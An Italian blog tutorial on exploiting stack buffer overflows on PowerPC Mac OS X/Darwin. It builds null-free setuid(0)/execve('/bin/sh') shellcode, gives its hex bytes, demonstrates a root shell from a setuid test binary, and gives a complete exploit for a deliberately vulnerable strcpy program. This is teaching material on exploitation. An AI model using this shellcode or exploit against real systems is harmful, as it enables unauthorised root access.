venerdì 16 luglio 2010

PowerPC bof howto

,-----------------------------------------------.
| PPC - Buffer Overflow / What you need to know |
| Costantino Pistagna  -  pistagna@dmi.unict.it |
'-----------------------------------------------'


Abstract
Gli attacchi di tipo bof (BufferOverflow) sono una pratica relativamente facile
da implementare. Sulle architetture convenzionali, quali ad esempio intel x86,
il lavoro e' reso ancora piu' facile dal fatto che le chiamate a funzioni sono
implementate con l'opcode "call", il quale salva l'indirizzo del chiamante
sullo stack in maniera da poterlo ripristinare alla fine della funzione
chiamata. Discorso a parte deve essere fatto con architetture alternative,quali
ad esempio PPC e Sparc, per queste deve essere utilizzata una tecnica
alternativa per potere forzare lo stack dal momento che sono presenti ostacoli
di tipo logistico differenti.




PPC e OS X/Darwin
Una funzione tipica per ppc e' eseguita con l'istruzione 'blr' la quale salva
l'indirizzo di ritorno del chiamante in un registro speciale destinato a questo
scopo, chiamato "link register". Se tutto fosse lasciato cosi' com'e' l'attacco
di tipo "smash-stack" non sarebbe possibile a causa del fatto che non abbiamo
nessuna possibilita' di alterare il link register con una semplice riscrittura
dello stack. Fortunatamente per l'attaccante l'amministratore, il link register
deve essere salvato ogni volta che una funzione chiama un'altra funzione.
Proviamo a dare un rapido sguardo di insieme alle funzioni generali ed alle
caratteristiche principali dell'architettura che ci saranno utili durante tutto
il corso del testo.

L'architettura powerpc utilizza un set di istruzioni RISC (Reduced Instruction
Set Computer). Tutte le istruzioni,opcodes,sono della stessa dimensione (32bit)
per permettere l'elaborazione in architetture parallele pipelined. Anche se e'
possibile fare operare i processori PowerPC indifferentemente in indirizzamento
"little endian" o "big endian",la loro configurazione di default e' big endian.
A causa del modo in cui le istruzioni sono caricate ed eseguite in memoria
dalla CPU, ogni istruzione richiede di essere validata prima di poter essere
eseguita. Questa validazione avviene sotto forma di un allineamento delle
istruzioni; se le istruzioni non risultano correttamente allineate a gruppi di
word, prima dell'esecuzione, il processore arrestera' l'esecuzione ritornando
un errore di allineamento al sistema operativo. Questo significa che ogni
istruzione 32bit deve essere "word"-allineata per essere considerata valida per
l'esecuzione dal microprocessore.

Il PowerPC ed il suo insieme di istruzioni sono pensati come una macchina a
stati con registri (load / store). E' possibile manipolare il flusso di dati da
e per la memoria attraverso l'uso di registri ed istruzioni ad essi associati.
Come conseguenza, esistono davvero poche istruzioni che permettono la
manipolazione diretta della memoria (a differenza delle architetture x86). I
seguenti registri (i piu' importanti) sono a disposizione del programmatore per
le operazioni piu' comuni:

Machine State Register (MSR) - Definisce la configurazione ed il modo di
operare della CPU. Il modo di operare in big-endian o little-endian,ad esempio,
viene governato da questo registro.
  • General Purpose Register (GPR) - Vengono forniti trentadue registri ad uso
    generale (GPR0 - GPR31). Questi registri sono spesso indicati con r0, r1, etc.

  • Floating Point Register (FPR) - Sono presenti trentadue registri da 64bit (FPR0
    - FPR31) per il calcolo in virgola mobile.

  • Overflow Register (XER) - Fornisce indicazioni circa il verificarsi di un
    overflow avvenuto come risultato di una precedente istruzione e/o calcolo su
    interi.

  • Floating Point Status and Control Register (FPSCR) - fornisce un metodo per il
    controllo della correttezza riguardo le operazioni su virgola mobile ed il loro
    esito.

  • Condition Register (CR) - fornisce indicazioni circa il risultato di un calcolo
    precedente. Viene utilizzato tipicamente per salti condizionati.

  • Count Register (CTR) - e' un regitro a 32bit che puo' essere usato come
    contatore di cicli ed essere decrementato automaticamente usando delle
    specifiche istruzioni di salto.

  • Link Register (LR) - fornisce un meccanismo per conservare l'indirizzo di
    ritorno di una subroutine.
OSX/Darwin e System Calls Il sistema operativo di Apple, MAC OS X (Darwin), e' molto simile a Linux nell' esecuzione delle chiamate di sistema; per essere piu' precisi le system calls vengono eseguite in accordo ad alcuni valori conservati all'interno dei registri del microprocessore. OS X e Darwin usano i seguenti registri generali come segue:
  • r0 - il numero della system call da eseguire. Le chiamate di sistema ed il loro
    relativo numero sotto OSX/Darwin possono essere esaminate nel file:
    /usr/include/sys/syscall.h. i Il registro r0 e' l'analogo del registro EAX nei
    sistemi x86.

  • r1 - il registro r1 rappresenta l'equivalente dello Stack Pointer (SP) sotto i
    sistemi x86.

  • r3 r4, ... - questi registri formano gli argomenti passati alla funzione quando
    viene chiamata.
Provando a fare un esempio,la seguente porzione di codice mostra le similarita' presenti tra le due architetture (x86,ppc) ed i sistemi operativi (linux, osX):
linux(x86):
  mov eax, 0x01 ; muove in eax la chiamate di sistema per la exit(). Linux == 1 mov ebx, 0x05 ; muove il valore 5 nel registro ebx int 0x80 ; attiva la system-call exit(ebx) o se preferisci exit(5)
OSX (ppc):
li r0, 0x01 ; carica la systemcall per exit in r0. osX == 1 li r3, 0x05 ; carica il valore 5 nel terzo registro sc ; attiva la system-call exit(r3) o se preferisci exit(5)
Un importante caratteristica da sottolineare e' il modo in cui i sistemi ppc ritornato dopo la fine di una funzione: il codice che verra' eseguito dopo una system call dipende dall'esito della stessa funzione. Il seguente codice ppc, test.s,chiama setuid(0).Se la chiamata ritorna con successo il programma andra' in exit(0); al contrario, se la chiamata setuid(0) fallisce, il sistema andra' in exit(1).
cagliostro$cat test.s .globl _main .text _main: xor r3, r3,r3 ; r3 = 0 li r0, 23 ; syscall per la setuid (23) sc ; eseguiamo setuid() li r3, 1 ; il ritorno sara' in questo punto ; se la chiamata a setuid fallisce. ; r3 = 1 SE setuid(0) FALLISCE li r0, 1 ; altrimenti saltiamo qui ; se setuid() ha successo ; salviamo la nuova syscall da eseguire ; in questo caso la exit (1) sc ; ed invochiamo l'uscita...exit(r3)
cagliostro$gcc -o test test.s cagliostro$./test; echo $? 1 cagliostro$sudo ./test; echo $? 0
Il programma test ritorna '1' se setuid(0) fallisce, '0' altrimenti. Le due esecuzioni distinte illustrano il processo sopra descritto; nella prima chiamata il comando viene eseguito con privilegi utente, come conseguenza la chiamata a setuid fallira' ritornando un valore pari ad '1'. Nella seconda esecuzione, utilizzando il comando sudo, facciamo in modo che la chiamata a setuid non possa fallire ritornandoci il valore di '0' (successo).Il programma effettua un salto di blocco/istruzioni dipendentemente dal modo in cui ritorna da una chiamata di sistema. Considerazioni sulla costruzione di ShellCode Tipicamente, la shellcode e' la seconda parte piu' importante (dopo il bug) di un exploit. Essa viene pensata e scritta per eseguire un processo che mantiene o aquista privilegi di amministratore all'interno di un programma vulnerabile, in maniera che questi privilegi possano essere successivamente utilizzati dall'attaccante. Un tipico esempio potrebbe essere quello di leggere e possibilmente editare i files che sarebbero altrimenti non accessibili come utente normale,come ad esempio passwords del sistema e files di configurazione; eseguire una shell interattiva sul sistema remoto e' un altro obiettivo fondamentale per l'attaccante. In questo modo sara' possibile eseguire comandi remoti con privilegi d'amministratore per tutta la durata della sessione di attacco. Nella maggior parte dei casi, la shellcode viene "iniettata" nello spazio di memoria del programma vulnerabile attraverso un buffer overflow oppure una vulnerabilita' sulla formattazione di stringhe (format string overflow). La natura di questi tipi di vulnerabilita' tipicamente impone alcune restrizioni e caratterizza almeno due qualita' in una buona shellcode: grandezza minima - spesso lo spazio fornito per l'input dell'utente dal programma vulnerabile e' limitato. Le shellcode designate per architetture ppc, tipicamente, sono piu' grandi dell'equivalente per x86, a causa del fatto che le istruzioni utilizzate sono di lunghezza fissa a 32bit. assenza di caratteri NULL - tipicamente le vuln erabilita' derivano dall' utilizzo non corretto di funzioni come strcat, strcpy, gets. Queste funzioni basano la loro esecuzione sul parsing di array di caratteri privi di caratteri NULL. Sfortunatamente, un grande numero di istruzini ppc includono caratteri NULL limitando, in pratica, l'insieme di istruzioni disponibili per la costruzione di una shellcode. E' possibile utilizzare nella maggior parte dei casi delle istruzioni equivalenti prive di questi caratteri. Questo processo, tipicamente,include delle corrispondenze non 1:1 che provocano un ingrandimento delle dimensioni totali della shellcode. Costruire Shellcode Funzionanti L'uso piu' versatile e gettonato di una shellcode e' quello di derivare una shell interattiva da un buco del programma ospite, permettendo all'attaccante di eseguire successivi comandi con privilegi che non gli appartengono. La funzione C execve() viene utilizzata per eseguire un programma e terminare il processo chiamante.Quindi un ideale shellcode potrebbe essere quella che esegue i seguenti tasks:
  • setuid(0) - prova a (ri)ottenere accesso UID 0 (root). Questa system call
    e' utile quando si attaccano programmi che girano con privilegi di un'altro
    utente, ma in principio avviati con privilegi di root.

  • execve("/bin/sh") - esegue /bin/sh.Fornisce all'attaccante un ambiente di shell
    interattivo.

  • exit() - esce in maniera corretta senza errori, minimizzando le possibilita'
    della macchina obiettivo di crashare come risultato dell'esecuzione alterata di
    un programma.
I numeri delle system call setuid() ed exit() sono gia' state mostrate in precedenza; il loro utilizzo e' praticamente immediato.Discorso a parte bisogna fare per la chiamata execve(), utilizzata per eseguire "/bin/sh". Il suo utilizzo e' piu' complesso e richiede l'uso di alcuni argomenti da passare alla funzione. Ci viene in aiuto il sempre-eterno manuale in linea di unix: man execve(). Ad una attenta visione viene svelato il modo di impiego della system call:
SYNOPSIS
int execve(const char *path, char *const argv[], char *const envp[]);

DESCRIPTION
execve() transforms the calling process into a new process.
un tipico programma di esempio, che utilizza questa funzione, potrebbe essere questo: cagliostro$cat shell.c #include #include int main(void){ char *args[2]; args[0] = "/bin/sh"; args[1] = NULL; execve("/bin/sh", args, NULL); } cagliostro$gcc -o shell shell.c cagliostro$./shell sh-2.05b$ La pagine di man ci mostra quali sono i comandi da passare alla funzione per eseguire il comando "/bin/sh".Questi parametri,saranno passati alla system call attravero i registri di uso generale del processore ppc come mostrato sotto: r0 - il valore della system call execve(), 59 r3 - l'indirizzo di memoria della stringa "/bin/sh" r4 - l'indirizzo di memoria che punta ad *argv r5 - l'indirizzo di memoria che punta ad *envp oppure NULL. PPC ed il link statico Se ci fossimo mossi in un contesto x86, avremmo potuto convertire in maniera quasi indolore il codice di esempio scritto in C, in codice pseudo assembler. Avremmo potuto effettuare le modifiche del caso, dovute a problemi di rilocazione del disassembletore,ed in generale avremmo avuto un codice asm funzionante in poco tempo ( aleph1 - Smash the Stack for fun and Profit). Purtroppo, sotto macos, se si prova a compilare il codice sopra, con le direttive necessarie ad un'adeguata decompilazione: cagliostro$gcc -o myshell -ggdb -static shell.c
otterremo qualcosa del tipo:
ld: can't locate file for: -lcrt0.o cagliostro$
Mac OS non permette il link statico di alcune librerie, a causa di problemi di sicurezza e di portabilita' del codice. Allo stato attuale, quindi,risulterebbe impossibile utilizzare i comuni tricks&trips x86 per potere creare del codice ASM funzionante. Ci sono alcune tecniche di compilazione e programmazione che  permettono di aggirare questo problema, ma esulano dallo scopo di questo paper; nel nostro contesto, ci limiteremo a scrivere MANUALMENTE il codice assembler che ci serve. cagliostro$cat s_execve.s .globl _main .text _main: xor. r5, r5, r5 ;1. r5 = NULL bnel _main ;2. salta a _main se non e' uguale mflr r3 ;3. r3 = main + 8 addi r3, r3, 28 ;4. r3 = main + 8 + 28 = string stw r3, -8(r1) ;5. argv[0] = string stw r5, -4(r1) ;6. argv[1] = NULL subi r4, r1, 8 ;7. r4 = puntatore ad argv[] li r0, 59 ;8. r0 = 59 execve() sc ;9. execve(r3, r4, r5) ; execve(path, argv[], NULL) string: .asciz "/bin/sh"
  1. L'istruzione 'xor r5, r5, r5' server per azzerare r5 ed impostare il flag
    equal nel registro CR.
  2. L'istruzione 'bnel _main' significa letteralmente: salta se non e' uguale e
    salva l'indirizzo di ritorno nel registro LR. Questo salto non sara' mai
    effettuato a causa del valore impostato nel registro CR, alla riga 1.In ogni
    caso, l'indirizzo di ritorno viene salvato nel registro LR.
  3. Il valore corrente conservato nel registro LR viene copiato nel registro r3.
  4. Il valore conservano in r3 viene incrementato di 28bytes per puntare alla
    stringa "/bin/sh".
  5. Conserviamo il valore di r3 (stringa) nella locazione di memoria puntata da
    r1 (Stack Pointer) meno 8.
  6. Conserviamo il valore di r5 (NULL) nella locazione di memoria r1 (SP) - 4.
  7. Salviamo il valore di r1 ( Stack Pointer ) - 8, nel registro r4.
  8. Carichiamo r0 con il valore 59 (la system call execve).
  9. Attiviamo la system call execve(r3, r4, r5).
cagliostro$gcc -o s_execve s_execve.s cagliostro$./s_execve sh-2.05b$ Eliminare i NULL dal nostro lavoro. Usando GDB (Gnu DeBugger), il nostro semplice lavoro in assembler s_execve, verra' convertito in una shellcode vera e propria, come mostrato di seguito:
cagliostro$gdb s_execve GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec 4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) disas main Dump of assembler code for function main: 0x00001ecc : xor. r5,r5,r5 0x00001ed0 : bnel+ 0x1ecc
0x00001ed4 : mflr r3 0x00001ed8 : addi r3,r3,28 0x00001edc : stw r3,-8(r1) 0x00001ee0 : stw r5,-4(r1) 0x00001ee4 : addi r4,r1,-8 0x00001ee8 : li r0,59 0x00001eec : sc End of assembler dump. (gdb) (gdb) x/4bx main 0x1ecc
: 0x7c 0xa5 0x2a 0x79 0x1ed0 : 0x40 0x82 0xff 0xfd 0x1ed4 : 0x7c 0x68 0x02 0xa6 0x1ed8 : 0x38 0x63 0x00 0x1c 0x1edc : 0x90 0x61 0xff 0xf8 0x1ee0 : 0x90 0xa1 0xff 0xfc 0x1ee4 : 0x38 0x81 0xff 0xf8 0x1ee8 : 0x38 0x00 0x00 0x3b 0x1eec : 0x44 0x00 0x00 0x02 0x1ef0 : 0x2f 0x62 0x69 0x6e 0x1ef4 : 0x2f 0x73 0x68 0x00
Come possiamo vedere, dall'output del nostro debugger, la shellcode risultante ha un gran numero di bytes NULL (0x00). Tutto cio' e' male!.Questi bytes devono essere eliminati per poter rendere il nostro lavoro utilizzabile. Piu' precisamente, le linee che causano il problema sono le seguenti:
  1. 0x1ed8 : 0x38 0x63 0x00 0x1c
  2. 0x1ee8 : 0x38 0x00 0x00 0x3b
  3. 0x1eec : 0x44 0x00 0x00 0x02
Le istruzioni originali corrispondenti, sono le seguenti:
  1. : addi r3, r3, 28
  2. : li r0, 59
che andranno rimpiazzate con qualcosa che evita l'uso del valore 0x00:
  1. addi r3, r3, 268+28
    addi r3, r3, -268

  2. li r30, 268+59
    addi r0, r30, -268

l'opcode per sc e' 0x44000002. Fortunatamente, i bytes 2 e 3 dell'opcode sono riservati e quindi non usati. Visto che non ci sono altri opcode che iniziano per 0x44 e finiscono per 0x02, e' possibile usare qualunque valore NON zero per i bytes 2 e 3 dell'opcode senza inficiare il suo corretto funzionamento. L'opcode finale per 'sc' puo' quindi diventare: sc .long 0x44ffff02 Infine, l'istruzione standard di NOP (No OPeration) sulle architetture ppc contiene dei bytes NULL, come si nota immediatamente dalla sua rappresentazione esadecimale: 0x60000000. L'istruzione di NOP su qualunque sistema e' spesso utilizzata come 'tampone' per riempire lo spazio dove viene ospitato l'exploit. E' necessario, quindi, un metodo per poterla utilizzare. Ancora una volta, i bytes di NULL sono riservati e quindi possono essere cambiati con qualunque altro valore non nullo, come ad esempio: 0x60606060. Mettendo tutto insieme, otteniamo un lavoro simile al seguente: cagliostro$cat f_execve.s .globl _main .text _main: xor. r3, r3, r3 ;1. r3 = 0 bnel _main ;2. li r10, 268+23 ;3. r10 = 268+23 addi r0, r10, -268 ;4. r0 = 23 (setuid) .long 0x44ffff02 ;5. sc modificato .long 0x60606060 ;6. NOP modificato xor. r5, r5, r5 ;7. r5 = 0 mflr r3 ;8. r3 = main + 8 addi r3, r3, 268+72 ;9. r3 = main + 8 + (268+72) addi r3, r3, -268 ;A. r3 = string stw r3, -8(r1) ;B. argv[0] = string stw r5, -4(r1) ;C. argv[1] = NULL subi r4, r1, 8 ;D. r4 = pointer to argv[] li r30, 268+59 ; addi r0, r30, -268 ;E. r0 = 59 execve() .long 0x44ffff02 ;F. sc modificato mr r3, r5 ;G. r3 = 0 li r30, 268+1 ; addi r0, r30, -268 ;H. r0 = 1 (exit) .long 0x44ffff02 ;I. sc modificato string: .asciz "/bin/sh" cagliostro$gcc -o f_execve f_execve.s cagliostro$./f_execve sh-2.05b$ La shellcode risultante, la si ottiene utilizzando gdb come illustrato sopra: cagliostro$gdb f_execve GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec 4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) disas main Dump of assembler code for function main: 0x00001ecc : xor. r3,r3,r3 0x00001ed0 : bnel+ 0x1ecc
0x00001ed4 : li r10,291 0x00001ed8 : addi r0,r10,-268 0x00001edc : .long 0x44ffff02 0x00001ee0 : ori r0,r3,24672 0x00001ee4 : xor. r5,r5,r5 0x00001ee8 : mflr r3 0x00001eec : addi r3,r3,340 0x00001ef0 : addi r3,r3,-268 0x00001ef4 : stw r3,-8(r1) 0x00001ef8 : stw r5,-4(r1) 0x00001efc : addi r4,r1,-8 0x00001f00 : li r30,327 0x00001f04 : addi r0,r30,-268 0x00001f08 : .long 0x44ffff02 0x00001f0c : mr r3,r5 0x00001f10 : li r30,269 0x00001f14 : addi r0,r30,-268 0x00001f18 : .long 0x44ffff02 End of assembler dump. (gdb) (gdb) x/4bx main 0x1ecc
: 0x7c 0x63 0x1a 0x79 0x1ed0 : 0x40 0x82 0xff 0xfd 0x1ed4 : 0x39 0x40 0x01 0x23 0x1ed8 : 0x38 0x0a 0xfe 0xf4 0x1edc : 0x44 0xff 0xff 0x02 0x1ee0 : 0x60 0x60 0x60 0x60 0x1ee4 : 0x7c 0xa5 0x2a 0x79 0x1ee8 : 0x7c 0x68 0x02 0xa6 0x1eec : 0x38 0x63 0x01 0x54 0x1ef0 : 0x38 0x63 0xfe 0xf4 0x1ef4 : 0x90 0x61 0xff 0xf8 0x1ef8 : 0x90 0xa1 0xff 0xfc 0x1efc : 0x38 0x81 0xff 0xf8 0x1f00 : 0x3b 0xc0 0x01 0x47 0x1f04 : 0x38 0x1e 0xfe 0xf4 0x1f08 : 0x44 0xff 0xff 0x02 0x1f0c : 0x7c 0xa3 0x2b 0x78 0x1f10 : 0x3b 0xc0 0x01 0x0d 0x1f14 : 0x38 0x1e 0xfe 0xf4 0x1f18 : 0x44 0xff 0xff 0x02 0x1f1c : 0x2f 0x62 0x69 0x6e 0x1f20 : 0x2f 0x73 0x68 0x00 (gdb)
Come e' possibile notare, non sono piu' presenti 0x00! Salviamo i valori hex, ed avremo il nostro primo shellcode, pronto per l'uso: \x7c\x63\x1a\x79\x40\x82\xff\xfd \x39\x40\x01\x23\x38\x0a\xfe\xf4 \x44\xff\xff\x02\x60\x60\x60\x60 \x7c\xa5\x2a\x79\x7c\x68\x02\xa6 \x38\x63\x01\x54\x38\x63\xfe\xf4 \x90\x61\xff\xf8\x90\xa1\xff\xfc \x38\x81\xff\xf8\x3b\xc0\x01\x47 \x38\x1e\xfe\xf4\x44\xff\xff\x02 \x7c\xa3\x2b\x78\x3b\xc0\x01\x0d \x38\x1e\xfe\xf4\x44\xff\xff\x02 \x2f\x62\x69\x6e\x2f\x73\x68 proviamo a scrivere un esempio di codice per renderci conto di quanto fatto e detto: char shellcode[]= "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x39\x40\x01\x23\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x60\x60\x60\x60" "\x7c\xa5\x2a\x79\x7c\x68\x02\xa6" "\x38\x63\x01\x54\x38\x63\xfe\xf4" "\x90\x61\xff\xf8\x90\xa1\xff\xfc" "\x38\x81\xff\xf8\x3b\xc0\x01\x47" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { __asm__( "b __shellcode" ); } cagliostro$gcc -o test_it1 test_it1.c cagliostro$sudo chown root test_it1 cagliostro$sudo chmod u+s test_it1 cagliostro$id uid=501(valvoline) gid=501(valvoline) groups=501(valvoline) cagliostro$./test_it1 sh-2.05b# id uid=0(root) gid=501(valvoline) groups=501(valvoline) sh-2.05b# Come si puo' vedere, la shellcode finale ha creato con successo una shell interattiva con privilegi di root, che potra' essere utilizzata in futuro per vulnerabilita' del sistema. Gestione Delle Subroutines Nell'architettura x86, le subroutines e le funzioni sono implementate come un'istruzione di 'call'.L'istruzione di call salva l'indirizzo di ritorno sullo stack prima di eseguire la funzione chiamata. L'indirizzo di ritorno salvato, puo' essere sovrascritto usando delle tecniche di buffer overflow, ottenendo il controllo del programma in esecuzione. Sulle architetture ppc le subroutines e le funzioni sono gestite in maniera differente. Il seguente programma C,func.c, dimostra come sono gestite le funzioni su un'architettura di questo tipo.

cagliostro$cat func.c int function() { return 0; } int main() { function(); } cagliostro$gcc -o func func.c cagliostro$gdb func GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec 4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) disas main Dump of assembler code for function main: 0x00001eec : mflr r0 0x00001ef0 : stmw r30,-8(r1) 0x00001ef4 : stw r0,8(r1) 0x00001ef8 : stwu r1,-80(r1) 0x00001efc : mr r30,r1 0x00001f00 : bl 0x1ecc 0x00001f04 : mr r3,r0 0x00001f08 : lwz r1,0(r1) 0x00001f0c : lwz r0,8(r1) 0x00001f10 : mtlr r0 0x00001f14 : lmw r30,-8(r1) 0x00001f18 : blr End of assembler dump. (gdb)
Il disassemblato di func, rivela che la chiamata a function() e' implementata da una chiamata a 'bl ' (Branch and Link) all'indirizzo main+20. Questo significa che l'indirizzo di ritorno dopo l'esecuzione di function e' conservato nel registro LR (link register). A questo punto non c'e' modo per alterare il valore conservato in LR usando tecniche come quella del buffer overflow e, quindi, non esiste modo per l'attaccante di ottenere il controllo del programma in esecuzione. Proviamo a fare alcune considerazioni. Dal momento che esiste un solo registro LR, se il programma volesse chiamare una seconda funzione, il valore corrente di LR deve potere essere preservato!. Questo significa che anche se non e' possibile ottenere il controllo della funzione corrente,la sovrascrittura dello stack puo' dare controllo sulla funzione precedente! La maggior parte delle volte, a causa del numero di istruzioni di salto gia' eseguite, i programmi per ppc presentano molte analogie con i loro equivalenti per x86. La capacita' di sovrascrivere il valore conservato su LR,e' dimostrato dal codice seguente: cagliostro$cat s_overflow.c /* Semplice programma per dimostrare l'uso del buffer overflow su architetture ppc. Costantino Pistagna "Solo chi e' interamente a conoscenza dei demoni della guerra puo' capire fino in fondo il vantaggio che puo' ricavare tirandola per le lunghe." - L'Arte della Guerra - Sun Tzu */ #include #include char hugebuff[] = "12345678901234567890SPAZIORISERVATO1234567890"; int main() { char tinybuff[16]; strcpy(tinybuff, hugebuff); } Compilando ed avviando il nostro programma di esempio,vedremo come e' possibile ottenere il controllo voluto sul valore del registro LR. cagliostro$gcc -o s_overflow s_overflow.c cagliostro$gdb s_overflow GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec 4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) r Starting program: /Users/valvoline/s_overflow Reading symbols for shared libraries . done Program received signal EXC_BAD_ACCESS, Could not access memory. 0x41414140 in ?? () (gdb) gdb ha trovato un problema che non ha permesso di portare a termine il programma, ed ha ritornato un errore indicande che il codice ha provato ad eseguire istruzioni all'indirizzo di memoria '0x41414140'. Questo indirizzo e' il corrispondente esadecimale dello spezzone finale della nostra stringa: ..A.. Questi caratteri hanno sovrascritto i dati precedentemente salvati sullo stack. Di conseguenza il programma assume,non correttamente, che il valore: 0x41414140 e' il valore di ritorno conservato in LR. E' da notare che anche se il buffer sovrascritto e' grande solo 16bytes,esso prende in ogni caso 24bytes aggiuntivi per raggiungere il punto dove e' salvato il valore di LR. Questo perche' per ogni frame di stack,vengono mantenuti 24bytes di spazio stack per consentire di preservare i registri. Esempio dell'uso di una shellcode Usando la nostra shellcode, costruita precedentemente, ed un programma vulnerabile con SUID 0, proviamo a costruire un esempio concreto di buffer overflow da usare contro osX/Darwin. cagliostro$cat vulnerable.c /* Esempio di programma stupido e vulnerabile per dimostrare l'uso della tecnica di buffer overflow. Costantino Pistagna "Il materiale di guerra deve essere portato dal proprio paese, ma le vettovaglie devono essere reperite in territorio nemico. Così 'armata avra' cibo sufficiente per i suoi bisogni." L'Arte della Guerra - Sun Tzu */ #include #include int main(int argc, char **argv) { char tinybuff[16]; strcpy(tinybuff, argv[1]9; printf("\n%s\n", tinybuff); } cagliostro$gcc -o vulnerable vulnerable.c cagliostro$sudo chown root vulnerable cagliostro$sudo chmod u+s vulnerable La linea di pensiero che seguiremo per ottenere il controllo del nostro stupido programma e' la seguente:
  1. costruire il payload iniziale con caratteri random per assicurarci che la
    sua grandezza sia corretta per mettere in overflow il buffer tinybuff[16]
    + 24bytes di riserva di spazio stack (40bytes).

  2. ottenere il valore corrente dello stack pointer (r1).

  3. scostare l'indirizzo di memoria ottenuto al passo 2 per puntare alla memoria
    che conterra' le istruzioni della nostra shellcode. Bisogna appendere questa
    locazione di memoria (4bytes) alla fine del nostro payload.

  4. assicurarsi che il nuovo indirizzo di memoria nello stack sia allineato per
    'word' in maniera che il processore lo esegua senza porsi problemi

  5. appendere la shellcode al payload

  6. chiamare il programma vulnerabile con il nostro payload per causare
    l'overflow.
Stack: [ buffervulnerabile16bytes ] [ 24bytesRISERVATI ] [ __LR_ ] [ ..DATI.. ]
Payld: [ _caratteri_di_riempimento_anche_senza_senso:: ] [ __RET ] [ shellcode]
e' importante capire che la shellcode sovrascrivera' qualunque dato che e' stato riservato precedentemente nello stack. Per esempio, i dati sovrascritti potrebbero includere variabili d'ambiente e causare problemi sulla shell interattiva che andremo a lanciare.Evitare questo e' solo questione di pratica, esperienza, fortuna e bravura. Un tipico esempio di exploit per il nostro programma vulnerabile visto sopra (vulnerable.c), potrebbe essere quello sotto: #include #include #include #define VULNBUFF 16+24 #define SHELLCODE 88 #define OFFSET 380 char shellcode[]= //questi sono 88bytes "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x39\x40\x01\x23\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x60\x60\x60\x60" "\x7c\xa5\x2a\x79\x7c\x68\x02\xa6" "\x38\x63\x01\x54\x38\x63\xfe\xf4" "\x90\x61\xff\xf8\x90\xa1\xff\xfc" "\x38\x81\xff\xf8\x3b\xc0\x01\x47" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x2f\x62\x69\x6e\x2f\x73\x68\x00"; char nops[]= //questi sono 40bytes "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60"; char riempimento[]= //questi sono 40bytes "BBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBB"; //ritorniamo il valore di r1 (stack pointer) int sp(void) { __asm__("mr r0, r1"); } //inizia il codice int main(int argc, char **argv) { long int ret, retused; unsigned char retadd[4]; char bofbuf[400]; memset(bofbuf, '\0', 400); ret=sp(); retused=ret+OFFSET+40+8; retadd[0]=(int)((retused & 0xff000000) >> 24); retadd[1]=(int)((retused & 0x00ff0000) >> 16); retadd[2]=(int)((retused & 0x0000ff00) >> 8); retadd[3]=(int)(retused & 0x000000ff); retadd[4]='\0'; strcpy(bofbuf, riempimento); //riempimento strcat(bofbuf, retadd); // indirizzo di ritorno strcat(bofbuf, shellcode); // la nostra shellcode printf("\nChiamiamo ./vulnerable2 ...\n"); execl("./vulnerable2", "vulnerable2", bofbuf, NULL); } Andare oltre In realta' questo e' solo una piccola parte di quello che e' possibile fare con un uso corretto e consapevole delle tecniche di overflowing. In certi casi e' necessario creare delle porzioni di codice che riescano ad adeguarsi a salti e locazioni di memoria random. Altre volte,sara' necessario scavalcare i sistemi di IDS. Quello che e' necessario comprendere sino in fondo, e' la reale insicurezza dei sistemi che utilizziamo quotidianamente. A causa della smisurata complessita' dei moderni sistemi operativi e' sempre possibile trovare delle porzioni di codice affette da problemi. Riuscire ad 'exploitare' questi problemi e' solo una questione di tempo, abilita' ed astuzia. Le armi a disposizione dell'amministratore e del programmatore sono tante. Prima tra tutte la consapevolezza ed attenzione nel codice che si sta' scrivendo e/o utilizzando: se e' vero che i sistemi complessi non sono mai esenti da bug, e' anche vero che scrivere del codice lascivo non aiutera' nella messa in sicurezza di un sistema! In un prossimo paper, provero' a spiegare i concetti e la pratica che stanno dietro gli attacchi di tipo format-string e heap corruption.Queste due pratiche stanno, infatti, alla base di svariati exploit utilizzati attualmente ed in passato per la violazione di sistemi unix e windows. Successivi Riferimenti aleph1 - smash the stack for fun and profit palante - ppc shellcoding apple - macos X - assembler guide motorola - programming environments for32bits implementations of PPC LSD Res. - unix assembly codes development for vulnerabilities illustrations purpouses.

Nessun commento: